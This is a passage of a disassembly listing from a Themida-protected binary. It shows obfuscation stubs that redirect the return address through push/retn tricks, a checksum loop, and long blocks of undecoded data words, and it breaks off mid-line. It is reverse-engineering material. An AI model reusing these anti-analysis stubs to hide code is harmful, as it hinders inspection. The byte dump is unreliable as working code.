; =============== S U B R O U T I N E ======================================= sub_596AA8 proc near ; CODE XREF: Themida_:00596AA0p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_596AA8 endp ; --------------------------------------------------------------------------- dd 1F84685Ah, 9EF21B4Ah, 0DE9h, 920A100h, 461CB915h, 19AB1FEBh dd 0FF645324h, 35h, 8AF38100h, 64400B83h, 2589h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0FFF3C4C3h, 14236D85h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0F16C7455h dd 6AFF6AF8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 25E1C355h, 62E381A7h, 0FF37DDDBh dd 143099B5h, 57FB8B06h, 18B0Fh, 5FFC0000h, 2B1995FFh dd 2EE90614h, 53000001h, 315BF98Bh, 140E69BDh, 2900B006h dd 1425A585h, 6670E606h, 91A6D381h, 840F71E4h, 16h, 11E9h dd 37EAD900h, 0E96427F9h, 0DD625378h, 56538C51h, 613C0F6Ah dd 0EF830Fh, 0BE80000h, 0AD000000h, 1795F45Bh, 0B222656h dd 0B589D070h, 6141ADDh, 0C8B60F5Bh, 6BAFA8Bh, 80000000h dd 0C18B4DDFh, 61858B60h, 61061411h, 8004E8C1h, 0F7667FDBh dd 56C82BE2h, 1B498D29h, 665F0614h, 0D18BFA8Bh, 11E8h dd 5B2CFE00h, 3B01E315h, 4A602DCh, 0A2F76793h, 8D296D41h dd 6140791h, 87E95Fh, 8D090000h, 6143111h, 53F78166h, 4858B1Bh dd 0F000000h, 0C083FEB7h, 6890F07h, 9000000h, 1430898Dh dd 0C08306h, 830FD03Bh, 0Dh, 52E9FA8Ah, 0B000000h, 142E419Dh dd 0FF8D8B06h, 89FFFFFFh, 1416EDB5h, 1E18306h, 37840Fh dd 89560000h, 140C71BDh, 0A5835B06h, 0FFFFFFFFh, 0B052BFFEh dd 95897A18h, 4, 13E9h, 0C7815500h, 7D4815FEh, 0FAB15CAAh dd 0F93FF519h, 47A5DFDFh, 0E9h, 0E1B58D00h, 6A06185Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 247CC355h, 0D3108194h, 6ADFE46Bh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 9F08C831h, 0F9F3E33Fh, 0CE9h, 0D857EF00h, 0FD047864h dd 5F634140h, 69B5094Bh, 0FF06142Eh, 14116995h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0F52B911Bh, 6CACE899h, 24499D8Bh, 0CFB90614h, 6A000010h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0D35CC356h, 6A8EB9B7h, 0BF90FBD7h, 5F34B157h dd 6AFCE183h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0A774C350h, 4E783EE6h, 899D8B1Ch dd 8006141Ch, 6AFC9EE3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 78CBC355h, 0E5628B55h dd 56BB6634h, 959D2BCEh, 0B8061403h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_596DC7 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_596DC7 proc near ; CODE XREF: Themida_:00596DBFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_596DC7 endp ; --------------------------------------------------------------------------- db 57h dd 0BA14h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0FC9A2C3h, 689h, 0E19D8900h, 0AD061423h dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0BEB4C351h dd 7D5E50Dh, 5E8h, 4F01AF00h, 0BD89533Fh, 61419D5h, 56006A5Bh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0E80D6DD3h, 9, 0ED4EEBC7h, 6ABF724Bh, 0EE960AEh, 0C000000h dd 8B849439h, 0B77ADC93h, 56D60656h, 0C6CC8017h, 880D5B61h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 8BE8C350h, 14322995h, 0D1B50906h dd 0F061403h, 8D8BF8B7h, 614064Dh, 0C28B50FCh, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 3358188Bh, 1419D19Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0BD71D075h, 1591BD8Bh, 0BF660614h, 0BD835717h, 61429ADh dd 55840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 4511C350h, 0B858A3h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 4365C350h, 798D8DD7h, 906144Dh dd 1410D58Dh, 0E3816606h, 0E1FF4E8Bh, 2671BD83h, 0F000614h dd 40F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 47AF34Eh, 2ACF4877h, 0B5890CA7h dd 6142A15h, 350D9D8Bh, 0BD830614h, 6142671h, 0EC840F01h dd 31000003h, 1434E98Dh, 71BD8306h, 3061426h, 3A3860Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0F8455C3h, 687h, 2D958900h, 6006140Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B8C35747h, 0D98C66B8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EFC35747h dd 0E1809D1Ah, 0FE904h, 85030000h, 0EED2396h, 0D5333C20h dd 0A13F6DE5h, 0FC90ABDh, 15D84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 4650FD94h dd 0E9196DC7h, 0Ah, 0C9ADBCE1h, 225F0422h, 858BFECAh, 6141969h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 37C35646h dd 0E9998A94h, 0Bh, 707B7D4Bh, 4B6BB8E0h, 332BD1C0h, 141B8185h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0B8DD3344h, 90F88B66h, 6050DA8Ah, 0FE8h dd 2B390D00h, 941C479Dh, 768102D9h, 38897B94h, 665A6160h dd 615B3DBAh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 6A0C0Dh, 8599D01h, 25680614h, 0E8B7B885h dd 14h, 0E07EF6CDh, 5CC606C6h, 88612B0Dh, 3B80E621h, 0A99C518Dh dd 61605250h, 0DD8A310Fh, 815B585Ah, 7EDA2404h, 6A4866h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0F93FF5C3h, 47A5DFDFh, 25BD8BD4h, 0FF06142Bh, 1409AD95h dd 0D1BD8B06h, 89061412h, 17AA9885h, 16CE906h, 13E90000h dd 75000000h, 0D93880EDh, 51B6BF6Eh, 26094397h, 0E740B3A3h dd 858B870Bh, 617AA90h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0F3C35040h, 0EB177BBh, 1800C75Bh, 89000000h dd 14053595h, 94B58B06h, 290617AAh, 1410B59Dh, 29858B06h dd 8906140Bh, 0B5BD8B06h, 8B06142Ch, 14196985h, 895FBB06h dd 0BF0F7FA0h, 44689D9h, 50FFBF0Fh, 16870Fh, 11E90000h dd 0C5000000h, 0C5085EE2h, 0EC52CBD6h, 17CA55E1h, 0EDB797E5h dd 6A243489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 24D4C357h, 7E3653ECh, 0A5BD2920h dd 0FF06141Ch, 17AA90B5h, 5D9D3306h, 68061423h, 0DCDA5D0Fh dd 48198B3h, 44A6F024h, 6880F23h, 0F000000h, 8Dh, 98858D00h dd 6A0617AAh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 4D0CC350h, 75EB8474h, 0A5A1A5BFh dd 5660506Bh, 0BC3EBA66h, 0C0BB6659h, 48961C0h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 221B9A3Ch, 55A9126Eh, 9D89DAC2h, 6142F9Dh, 0BE9h, 2ACB0E00h dd 0D015B6CBh, 77219BD1h, 9AD95FFh, 89510614h, 14199DB5h dd 6A615B06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 66ABC351h, 0C7B7D9BFh, 14267185h dd 306h, 6EE78100h, 832AB7F3h, 17AA98BDh, 840F0006h, 2Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0AFC35242h dd 0BF66521Dh, 21E944F2h, 0B000000h, 141621BDh, 0C305006h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0DE9h dd 37DD8000h, 78162642h, 0E66C73F6h, 6A6625h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C63CA5C3h dd 83FEBF0Fh, 142671BDh, 850F0306h, 403h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 17C35141h, 71A287C4h dd 66E44BFFh, 895721BBh, 140639B5h, 98BD8306h, 617AAh dd 3C9840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 18ED7C3h, 141B6D85h, 98B5FF06h dd 0F50617AAh, 10E9BD8Bh, 95FF0614h, 6142AF5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0EAC35343h, 83B9BF52h dd 8B5F3B8Eh, 17AA8CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 44E8610Bh, 8B60BB84h dd 1421E5BDh, 6CB96606h, 6C761CFh, 10001h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D0C35343h, 74392C44h dd 0E7C47750h, 0D4DBD01h, 0E9500614h, 0Bh, 0EDDBB575h dd 0E301FB96h, 89BB82CDh, 0BF662434h, 0B5FF387Ah, 617AA98h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 67C35242h dd 90E018BDh, 0E9D3816Bh, 0FF72A5DCh, 140B3195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 961EA16Eh, 9DF891F6h, 8D0FA306h, 6, 30C59D03h, 0B58B0614h dd 617AA8Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 97C35242h, 0E9ECF231h, 8, 97990A3Dh, 0ED9450FBh dd 6799D29h, 858B0614h, 61421D5h, 1C259589h, 86890614h dd 0C4h, 8699D8Bh, 958B0614h, 6143229h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h dd 65C35040h, 99D89CAh, 83061411h, 6A04C2h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0F99904C3h dd 0AE8h, 553DC400h, 0DAB13CBEh, 8BAC4C15h, 50895FFBh dd 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0F8FD2CC8h, 97572F9h, 0BE06858Dh, 66500617h dd 895BDE8Bh, 0B886h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 6BA4707Fh, 9447E507h dd 0BF0F039Ah, 0F006ADEh, 0B5FFFEB7h, 617AA98h, 0F1BD0Bh dd 0FFFC0614h, 14093995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0FFB70FCDh dd 79BB6696h, 0F9650C9h, 0B5FFFEBFh, 617AA98h, 29BD8956h dd 5F061405h, 20F595FFh, 6A0614h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 6BE337C3h, 6499D2Bh dd 0BD830614h, 6140C21h, 23840F00h, 80000000h, 669679C7h dd 50D4B6BFh, 11E9h, 20B53800h, 0A71F97DDh, 91E5C1ABh dd 7178274Dh, 0F96EBD5h, 0B5FFDAB7h, 617AA98h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C1C35646h, 94EF7E9Fh dd 0CE8630A2h, 68C0F91h, 9000000h, 141475B5h, 0B195FF06h dd 6A061402h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0ABDC355h, 98B5FFF5h, 600617AAh dd 1B61858Bh, 8D890614h, 6140289h, 8195FF61h, 6A061430h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0FBA7C355h, 0AEAE21C0h, 9F5BD83h, 0F020614h dd 2A84h, 4D9D8B00h, 8B06141Bh, 142D0185h, 13E806h, 0A0020000h dd 0A344E5F2h, 0FF5A9089h, 712F27FAh, 51AA1042h, 5FA3B7A3h dd 0C70000C6h, 14244D85h, 6, 0F99D8B00h, 0E9061423h, 0FFFFF329h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DFC35343h dd 163113E4h, 880FDFE1h, 6, 58D9D89h, 8BF50614h, 79B589C1h ; --------------------------------------------------------------------------- add edx, [esi+eax] loc_597837: ; CODE XREF: Themida_:loc_596A09j lea eax, [ebp+6140F99h] push esi or ebx, 5104EF66h pop ebx nop mov bx, ax push eax jmp loc_597862 ; --------------------------------------------------------------------------- db 31h dd 5DD2B47Bh, 211A2B30h, 2758540h, 79E74E05h db 0C6h, 1Dh ; --------------------------------------------------------------------------- loc_597862: ; CODE XREF: Themida_:0059784Aj nop push 0 push ebx call sub_59786E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59786E proc near ; CODE XREF: Themida_:00597866p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_59786E endp ; --------------------------------------------------------------------------- sub [esi+283A045Fh], edx or eax, 6A006Ah push 0 push edx call sub_597894 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597894 proc near ; CODE XREF: Themida_:0059788Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_597894 endp ; --------------------------------------------------------------------------- dd 610904C4h, 0FFBA0FFEh, 0DE91Ah, 5EC60000h, 0B2420B04h dd 49E29EB7h, 8BEC5838h, 1414FDBDh, 46858D06h, 8B0618EEh dd 1413859Dh, 5C08306h, 0B17FBB66h, 5B536050h, 89618BB3h dd 81662404h, 6AC653DBh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 9E92CC89h, 0DB354FD7h dd 0BF66FA8Bh, 8B601769h, 142F299Dh, 0BE906h, 0FE6E0000h dd 64730EFEh, 0B72BCB75h, 6A61A1h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0A8C35646h, 7195FF8Ch, 8B06141Ah dd 0FC8D8DF9h, 6A0617A8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 11DBC355h, 635D0B9h dd 0D1FF740Bh, 14E8h, 3A6CC700h, 7F52E440h, 3CB7E095h dd 0B73D9EF8h, 6186ADF3h, 9D8B565Dh, 6142425h, 0BD835B5Bh dd 61412CDh, 7A850F01h, 0FC000000h, 6A026Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E94120C3h dd 13h, 327CF8BAh, 0ED32BEF3h, 85D22C47h, 0ADE321CFh, 31DD1EF6h dd 140C6185h, 6E95006h, 0AC000000h, 0B1950667h, 24048951h dd 93995FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 9B8627C3h, 945477Ch, 143521B5h dd 0E28E906h, 0E80000h, 5D000000h, 0EE50ED81h, 6A0618h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0A0228DC3h, 2FB99589h, 840F0614h, 13h, 0EE9h, 5243CA00h dd 8543B374h, 0F9F58BD6h, 6ABE1255h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8C17C356h dd 3F9BD8Bh, 9D290614h, 6142259h, 9623858Dh, 6A0617h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0F6DDF9C3h, 0F7801CEh, 0E990D8B7h, 0Fh, 0EE9CA00Ch dd 0B532D61Ah, 0FA1BD232h, 50FB914Bh, 0EE8h, 11D1A600h dd 0AB51A57h, 0E9CEAE81h, 52047E32h, 0F07D4BBFh, 905F5F44h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1CC35646h dd 35FF64h, 64000000h, 2589h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8DC5B9C3h dd 65DAE12Bh, 0DB80BBCBh, 12E83Ah db 2 dup(0) word_597B4E dw 0BA32h ; DATA XREF: Themida_:00549ACCo dd 0A2BDE184h, 0C453DABFh, 51675D33h, 7B8BC36h, 68B0Fh dd 0BD230000h, 6140B95h, 6D85FF5Fh, 6A061423h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0A477C356h, 0EDBD0950h, 0F06140Eh, 68Ah, 0C58D8900h dd 6A061404h, 0F9BF0FFFh, 2EA18589h, 0B5FF0614h, 6140669h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 4CC35646h dd 0F7CF8136h, 0FF2F26E9h, 142B1995h, 0DEE906h, 0B0F80000h dd 0F7816600h, 70E6B916h, 6810Fh, 85090000h, 61401D5h dd 0C78071E4h, 0F613CD7h, 0BB83h, 8E900h, 9F30000h, 0AEE8C76h dd 0B60F2F6Ch, 9EFCBBC8h, 42B74D7Bh, 6BAh, 4A30BF00h, 0C18B18F5h dd 8B04E8C1h, 140CF5BDh, 0E2F76606h, 85316053h, 6142F91h dd 61F18B66h, 8BC82B5Bh, 1401AD9Dh, 8BD18B06h, 6EE9F8h dd 858B0000h, 5F4C4C44h, 0C083FD8Ah, 8D958907h, 83061406h dd 0BD8900C0h, 6141705h, 0D03B62B7h, 8830Fh, 0B70F0000h dd 42E9F9h, 8D8B0000h, 0FFFFFFFFh, 0BE9h, 0D11C7200h, 0C2B28F4Fh dd 0C9EAD3E1h, 0F01E183h, 2384h, 0A583F900h, 0FFFFFFFFh dd 6870FFEh, 9000000h, 1425AD95h, 44958906h, 0FC5F4C4Ch dd 0E9FBBF0Fh, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6186CB0h] mov edi, ecx clc push 0 xor [ebp+6142185h], esi call dword ptr [ebp+6141169h] push 0 push ecx call sub_597CE2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597CE2 proc near ; CODE XREF: Themida_:00597CDAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_597CE2 endp ; --------------------------------------------------------------------------- adc [ecx], bl clc mov di, 0EC3Ch sub edi, 445228FCh mov ecx, 0FD2h mov [ebp+6142295h], ecx and ecx, 0FFFFFFFCh push 0 push esi call sub_597D18 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597D18 proc near ; CODE XREF: Themida_:00597D10p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_597D18 endp ; --------------------------------------------------------------------------- xor bh, bh mov edi, [ebp+614348Dh] add bl, 98h cld mov [ebp+6140791h], edx sub eax, eax mov di, cx mov edx, 0 mov [ebp+61406E9h], esi loc_597D4A: ; CODE XREF: Themida_:00597D54j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_597D4A push 0 push eax call sub_597D61 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597D61 proc near ; CODE XREF: Themida_:00597D59p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_597D61 endp ; --------------------------------------------------------------------------- xor bl, [esi] mov eax, ds:893CC5EEh mov ch, 71h sbb [esi+eax], edx movsx ebx, cx jmp loc_597D92 ; --------------------------------------------------------------------------- db 0B9h, 59h, 83h dd 56A42D83h, 0B3D25A05h db 61h, 80h ; --------------------------------------------------------------------------- loc_597D92: ; CODE XREF: Themida_:00597D80j or eax, 88h xor di, 69C5h mov edx, [ebp+6143229h] push 0 push edx call sub_597DAD and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597DAD proc near ; CODE XREF: Themida_:00597DA5p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_597DAD endp ; --------------------------------------------------------------------------- db 1Eh, 72h, 14h dd 0E1FEFB75h, 8B7107B7h, 1423A59Dh, 21958906h, 8B06142Ch dd 14064D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0FCEF96B9h, 0E3D9D8Bh, 8B500614h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 7AC35040h, 0E2E81FB2h dd 0F5C55923h, 1B6D8529h, 0BD830614h, 61429ADh, 7A840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 8B23C357h, 0B8DEh, 0E7810000h dd 5109AFC0h, 4D798D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0EE2AE4C3h, 34EF1E78h dd 2F6D9D01h, 0E1FF0614h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 5CC35141h, 0D3A80EE5h, 71BD83F5h, 61426h dd 491840Fh, 0BD830000h, 6142671h, 9F840F01h, 6A000004h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0B1B0C356h, 238E10E6h, 12E9h, 2F717200h dd 0B1F4579Bh, 541512E2h, 0B93B8C39h, 830123CAh, 142671BDh dd 860F0306h, 424h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 87C35040h, 2BDBCBC5h, 6049B627h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 9FC35646h, 739390B8h dd 0B662425Bh, 0D98C66DEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 56C35747h, 661323FCh, 805F53BBh, 9D8B04E1h dd 61429F9h, 840FC90Ah, 122h, 1BE9BD0Bh, 858B0614h, 6141969h dd 5E9h, 656E5F00h, 85330F07h, 6141B81h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 8AC35040h, 0A0DB22D6h dd 894BD4D5h, 1401D5BDh, 5F515006h, 6A240489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0E94FC350h, 0D98B28E1h, 0FFBBF0Fh, 6AD8BFh, 9D89DF8Bh dd 6140311h, 17D21B68h, 2E24BBE0h, 481074Ch, 731E424h dd 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 181D6DE3h, 32EA9240h, 0BD8B5161h, 6140575h dd 0BC9BD8Bh, 95FF0614h, 61409ADh, 81D9BF0Fh, 0A29BE7E7h dd 98858965h, 6A0617AAh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 2D2AC351h, 0CBF38166h dd 59BD8BBBh, 0E9061429h, 231h, 13E85660h, 0A0000000h dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 22344C1Dh, 5B5ABEC1h dd 0A9E88166h, 858B61DDh, 617AA90h, 6840Fh, 9D890000h dd 6142955h, 0EF18501h, 0C70614h, 18h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 44C35545h, 2BC52750h, 0DA8B9699h dd 0AA94B58Bh, 95090617h, 61431D9h, 0B29858Bh, 6A0614h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0EE78DEC3h, 0D15BD8Bh, 6890614h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 1AC35646h, 2CDB19BBh, 69858B4Bh dd 6A061419h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 66C2C355h, 8878A87Dh, 55CE827Eh dd 6A044689h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 426FC352h, 0BF0F89AEh, 0AE9FBh dd 74B40000h, 699149EDh, 2E687471h, 50DA8B96h, 31BF6696h dd 90B5FF59h, 890617AAh, 1408ED95h, 5BD8B06h, 0E806140Fh dd 4, 1F03FFh, 50DE8B66h, 424448Bh, 5250008Bh, 3880Fh dd 8B660000h, 52310FD9h, 89585A5Bh, 58042444h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B8C35343h, 4820Fh dd 0BF660000h, 858DF856h, 617AA98h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0F4C35040h, 8968B5F0h, 0E0E82D3Fh dd 7AA8BB66h, 0E9525050h, 0Eh, 8C334521h, 0E28FFF95h, 7474FD90h dd 310F3F2Dh, 13E8h, 184C2100h, 652179h, 77106531h, 0E7F71204h dd 3B3254D8h, 5A5F5B51h, 24048958h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0C1C35646h, 26DF8166h, 188E0F50h dd 0E8000000h, 0Dh, 0F5D83EC6h, 458A0A8h, 0A8AE93DDh, 4F09BB73h dd 0FF5B5C0Bh, 1409AD95h, 85C76106h, 6142671h, 3, 7BEB8166h dd 98BD8356h, 617AAh, 56840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD3197C3h dd 6140791h, 4AE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0BD8B20E8h, 61430F5h dd 0EABB6652h, 0BD895FC4h, 614321Dh, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0DAADC357h, 0C2891519h, 9D8BC886h, 6140385h, 0C860Fh dd 8C0F0000h, 6, 0A2A6DF81h, 0BD834102h, 6142671h, 10850F03h dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0E995C357h, 5221432Fh, 0B959D8Bh dd 835F0614h, 17AA98BDh, 840F0006h, 3DBh, 789B531h, 0B5FF0614h dd 617AA98h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0A3C35242h, 51DC005Ah, 4F1B4D5Dh, 0F595FF29h, 8006142Ah dd 0B58BB5C7h, 617AA8Ch, 4AD9D29h, 6C70614h, 10001h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 42C35343h, 8B5096AEh dd 0B7505FD8h, 6A960Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0D6D79FC3h, 0F8B70F60h, 1850Fh dd 61FC0000h, 0AA98B5FFh, 6E90617h, 4C000000h, 0D204B7B8h dd 3195FF0Dh, 8906140Bh, 140CB9BDh, 8CB58B06h, 0F0617AAh dd 28Ah, 8BD3B700h, 1421D585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 1BE959AFh dd 0F31B5ABh, 481h, 8CBF6600h, 0C4868964h, 89000000h, 1409E99Dh dd 29958B06h, 6A061432h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 2F3C351h, 8BE3EFA3h dd 0C283F8FAh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0BF66F812h, 5089678Dh dd 0A98D8920h, 50061414h, 16CB8166h, 858D5B41h, 617BE06h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9DC35040h dd 8A1779C6h, 0C55C7E3Ah, 0E1EF8150h, 5F7F14B0h, 0B88689h dd 0BD890000h, 6142449h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 8AB78EC3h dd 0B06E30DAh, 0FE8B66F5h, 0AA98B5FFh, 8D290617h, 6140849h dd 8DDB589h, 95FF0614h, 